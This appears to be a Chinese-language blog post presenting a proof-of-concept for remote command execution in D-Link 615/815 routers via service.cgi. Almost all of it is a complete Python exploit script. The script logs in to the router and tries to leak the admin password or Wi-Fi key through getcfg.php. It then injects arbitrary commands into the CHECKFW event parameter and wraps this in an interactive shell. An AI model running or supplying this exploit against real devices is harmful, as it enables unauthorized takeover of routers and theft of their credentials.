D-Link service.cgi远程命令执行漏洞poc

  • A+
所属分类:颓废's Blog
摘要

start_shell()
更多详细文章请访问: D-Link service.cgi远程命令执行漏洞复现

#!/usr/bin/python  import argparse import httplib import random import re import requests import string import urllib2  DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',                '<div class="modelname">(.*?)</div>',                '<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'              ]   def dlink_detection():     try:         r = requests.get(URL, timeout=10.00)     except requests.exceptions.ConnectionError:         print "Error: Failed to connect to " + URL         return False      if r.status_code != 200:         print "Error: " + URL + " returned status code " + str(r.status_code)         return False      for rex in DLINK_REGEX:         if re.search(rex, r.text):             res = re.findall(rex, r.text)[0]             return res      print "Warning: Unable to detect device for " + URL     return "Unknown Device"   def create_session():     post_content = {"REPORT_METHOD": "xml",                     "ACTION": "login_plaintext",                     "USER": "admin",                     "PASSWD": PASSWORD,                     "CAPTCHA": ""                     }      try:         r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)     except requests.exceptions.ConnectionError:         print "Error: Failed to access " + URL + "/session.cgi"         return False      if not (r.status_code == 200 and r.reason == "OK"):         print "Error: Did not recieve a HTTP 200"         return False      if not re.search("<RESULT>SUCCESS</RESULT>", r.text):         print "Error: Did not get a success code"         return False      return True   def parse_results(result):     print result[100:]     return result   def send_post(command, print_res=True):     post_content = "EVENT=CHECKFW%26" + command + "%26"      method = "POST"      if URL.lower().startswith("https"):         handler = urllib2.HTTPSHandler()     else:         handler = urllib2.HTTPHandler()      opener = urllib2.build_opener(handler)     request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)     request.get_method = lambda: method      try:         connection = opener.open(request)     except urllib2.HTTPError:         print "Error: failed to connect to " + URL + "/service.cgi"         return False     except urllib2.HTTPSError:         print "Error: failed to connect to " + URL + "/service.cgi"         return False      if not connection.code == 200:         print "Error: Recieved status code " + str(connection.code)         return False      attempts = 0      while attempts < 5:         try:             data = connection.read()         except httplib.IncompleteRead:             attempts += 1         else:             break          if attempts == 5:             print "Error: Chunking failed %d times, bailing." %attempts             return False      if print_res:         return parse_results(data)     else:         return data   def start_shell():     print "+" + "-" * 80 + "+"     print "| Welcome to D-Link Shell" + (" " * 56) + "|"     print "+" + "-" * 80 + "+"     print "| This is a limited shell that exploits piss poor programming.  I created this   |"     print "| to give you a comfort zone and to emulate a real shell environment.  You will  |"     print "| be limited to basic busybox commands.  Good luck and happy hunting.            |"     print "|" + (" " * 80) + "|"     print "| To quit type 'gtfo'" + (" " * 60) + "|"     print "+" + "-" * 80 + "+/n/n"      cmd = ""      while True:         cmd = raw_input(ROUTER_TYPE + "# ").strip()         if cmd.lower() == "gtfo":             break          send_post(cmd)   def query_getcfg(param):     post_data = {"SERVICES": param}     try:         r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)     except requests.exceptions.ConnectionError:         print "Error: Failed to access " + URL + "/getcfg.php"         return False      if not (r.status_code == 200 and r.reason == "OK"):         print "Error: Did not recieve a HTTP 200"         return False      if re.search("<message>Not authorized</message>", r.text):         print "Error: Not vulnerable"         return False      return r.text   def attempt_password_find():     # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password     data = query_getcfg("DEVICE.ACCOUNT")     if not data:         return False      res = re.findall("<password>(.*?)</password>", data)     if len(res) > 0 and res != "=OoXxGgYy=":         return res[0]      # Did not find it in first attempt     data = query_getcfg("WIFI")     if not data:         return False      res = re.findall("<key>(.*?)</key>", data)     if len(res) > 0:         return res[0]      # All attempts failed, just going to return and wish best of luck!     return False   if __name__ == "__main__":     parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")      parser.add_argument("-p", "--password", dest="password", action="store", default=None,                         help="Password for the router.  If not supplied then will use blank password.")     parser.add_argument("-u", "--url", dest="url", action="store", required=True,                         help="[Required] URL for router (i.e. http://10.1.1.1:8080)")     parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,                         help="If flag is set, will attempt CWE-200.  If that fails, then will attempt to discover "                              "wifi password and use it.")      args = parser.parse_args()      HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),               "Host": "localhost",               "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"               }      URL = args.url.lower().strip()      if not URL.startswith("http"):         URL = "http://" + URL      ROUTER_TYPE = dlink_detection()      if not ROUTER_TYPE:         print "EXITING . . ."         exit()      if args.attempt_exploit and args.password is None:         res = attempt_password_find()         if res:             PASSWORD = res         else:             PASSWORD = ""         print "[+] Switching password to: " + PASSWORD     elif args.password:         PASSWORD = args.password     else:         PASSWORD = ""      if not create_session():         print "EXITING . . ."         exit()      if len(send_post("ls", False)) == 0:         print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE         exit() 

start_shell()


更多详细文章请访问:

D-Link service.cgi远程命令执行漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: